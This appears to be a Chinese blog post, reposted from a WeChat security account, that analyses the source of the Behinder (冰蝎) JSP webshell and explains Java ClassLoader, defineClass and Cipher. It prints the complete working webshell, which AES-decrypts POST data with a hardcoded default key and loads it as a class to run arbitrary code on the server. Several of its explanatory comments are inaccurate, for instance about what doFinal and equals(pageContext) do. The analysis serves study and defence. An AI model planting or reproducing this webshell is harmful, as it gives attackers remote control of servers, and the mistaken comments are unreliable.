以下是冰蝎jsp的源代码
<%import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!class U extends ClassLoader{// classloader 类加载器
U(ClassLoader c){// 构造方法 参数为父类加载器
super(c);
}
public Class g(byte []b){// g方法调用父类加载器加载类
// defineClass的作用是处理前面传入的字节码,将其处理成真正的Java类,并返回该类的Class对象
return super.defineClass(b,0,b.length);
}
}%>
<%if (request.getMethod().equals("POST"))// 校验该请求是否是POST方法
{
// 定义一个已经加密好的密钥 改密钥是AES加密算法的密钥
String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
// session.putValue方法 跟session.setAttribute方法类似,但是可以设置多个值
session.putValue("u",k);
// Cipher是加密算法的接口,它提供了加密和解密的方法 这里是实例化一个AES加密算法的密钥
Cipher c=Cipher.getInstance("AES");
// c.init 方法 这里的2 跟进代码中 是解密的意思 1是加密的意思 2 是解密 参数1是密钥 参数2是加密模式 采用AES
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
//
new U(this.getClass().getClassLoader()).g(c.doFinal(request.getParameter("p").getBytes()))
.g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine())))
.newInstance().equals(pageContext);
//将代码分解
// U(this.getClass().getClassLoader()) 这里的this.getClass().getClassLoader()是获取当前类的类加载器
//.g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine())))
// request.getReader().readLine() 这里的request.getReader().readLine()是获取请求的数据
// new sun.misc.BASE64Decoder().decodeBuffer() 这里的new sun.misc.BASE64Decoder().decodeBuffer()是将请求的数据解密
// c.doFinal() 这里的c.doFinal()是将解密后的数据进行加密 参数是解密后的数据
// newInstance() 这里的newInstance()是将加密后的数据转换成类对象
// .equals(pageContext) 这里的.equals(pageContext)是将类对象转换成字符串对象 并且比较两个字符串对象是否相等
}%>
ClassLoader
ClassLoader
类加载器(class loader)用来加载 Java 类到 Java 虚拟机中。一般来说,Java 虚拟机使用 Java 类的方式如下:Java 源程序(.java 文件)在经过 Java 编译器编译之后就被转换成 Java 字节代码(.class 文件)。类加载器负责读取 Java 字节代码,并转换成 java.lang.Class类的一个实例。每个这样的实例用来表示一个 Java 类。通过此实例的 newInstance() 方法就可以创建出该类的一个对象。实际的情况可能更加复杂,比如 Java 字节代码可能是通过工具动态生成的,也可能是通过网络下载的。
defineClass
ClassLoader类的defineClass方法直接根据字节数组定义一个类
loadclass:判断是否已加载,使用双亲委派模型,请求父加载器,都为空,使用findclass
findclass:根据名称或位置加载.class字节码,然后使用defineClass
defineclass:解析定义.class字节流,返回class对象
所以他们最终都会调用defineClass
loadclass
这代码中可以看到 if (c == null) { 这里是在缓存去找是否存在 不存在在通过findclas去找 findclas
protected Class<?> loadClass(String name, boolean resolve)
throws ClassNotFoundException
{
synchronized (getClassLoadingLock(name)) {
// First, check if the class has already been loaded
Class<?> c = findLoadedClass(name);
if (c == null) {
long t0 = System.nanoTime();
try {
if (parent != null) {
c = parent.loadClass(name, false);
} else {
c = findBootstrapClassOrNull(name);
}
} catch (ClassNotFoundException e) {
// ClassNotFoundException thrown if class not found
// from the non-null parent class loader
}
// 这里是在缓存去找是否存在 不存在在通过findclas去找
if (c == null) {
// If still not found, then invoke findClass in order
// to find the class.
long t1 = System.nanoTime();
c = findClass(name);
// this is the defining class loader; record the stats
sun.misc.PerfCounter.getParentDelegationTime().addTime(t1 - t0);
sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1);
sun.misc.PerfCounter.getFindClasses().increment();
}
}
if (resolve) {
resolveClass(c);
}
return c;
}
}
findclas
可以看到findclass调用的defineClass 将字节码 传入 最终返回一个class对象
protected Class<?> findClass(String name) throws ClassNotFoundException {
// return super.findClass(name);
System.out.println( "try findClass " + name);
InputStream is = null;
Class class1 = null;
try {
String classPath = name.replace(".", "\") + ".class";
// String[] fqnArr = name.split("\."); // split("."); 是不行的, 必须split("\.")
// if (fqnArr == null || fqnArr.length == 0) {
// System.out.println("ClassLoaderLK.findClass()");
// fqnArr = name.split("\.");
// } else {
// System.out.println( name + fqnArr.length);
// }
String classFile = path + classPath;
byte[] data = getClassFileBytes(classFile );
//这里可以看到最终调用的是defineClass
class1 = defineClass(name, data, 0, data.length);
if (class1 == null) {
System.out.println("ClassLoaderLK.findClass() ERR ");
throw new ClassFormatError();
}
} catch (FileNotFoundException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
} catch (Exception e) {
e.printStackTrace();
} finally {
if (is != null) {
try {
is.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
return class1;
}
private byte[] getClassFileBytes(String classFile) throws Exception {
FileInputStream fis = new FileInputStream(classFile );
FileChannel fileC = fis.getChannel();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
WritableByteChannel outC = Channels.newChannel(baos);
ByteBuffer buffer = ByteBuffer.allocateDirect(1024);
while (true) {
int i = fileC.read(buffer);
if (i == 0 || i == -1) {
break;
}
buffer.flip();
outC.write(buffer);
buffer.clear();
}
fis.close();
return baos.toByteArray();
}
}
Cipher
javax.crypto.Cipher 该框架就是为了加密解密用的 懒得分析 直接看api就可
// c.init 方法 这里的2 跟进代码中 是解密的意思 1是加密的意思 2 是解密 参数1是密钥 参数2是加密模式 采用AES
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));

简单分析 具体看上面代码注释 太菜了 大佬勿喷
原文始发于微信公众号(Web渗透测试):分析冰蝎jsp源码
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论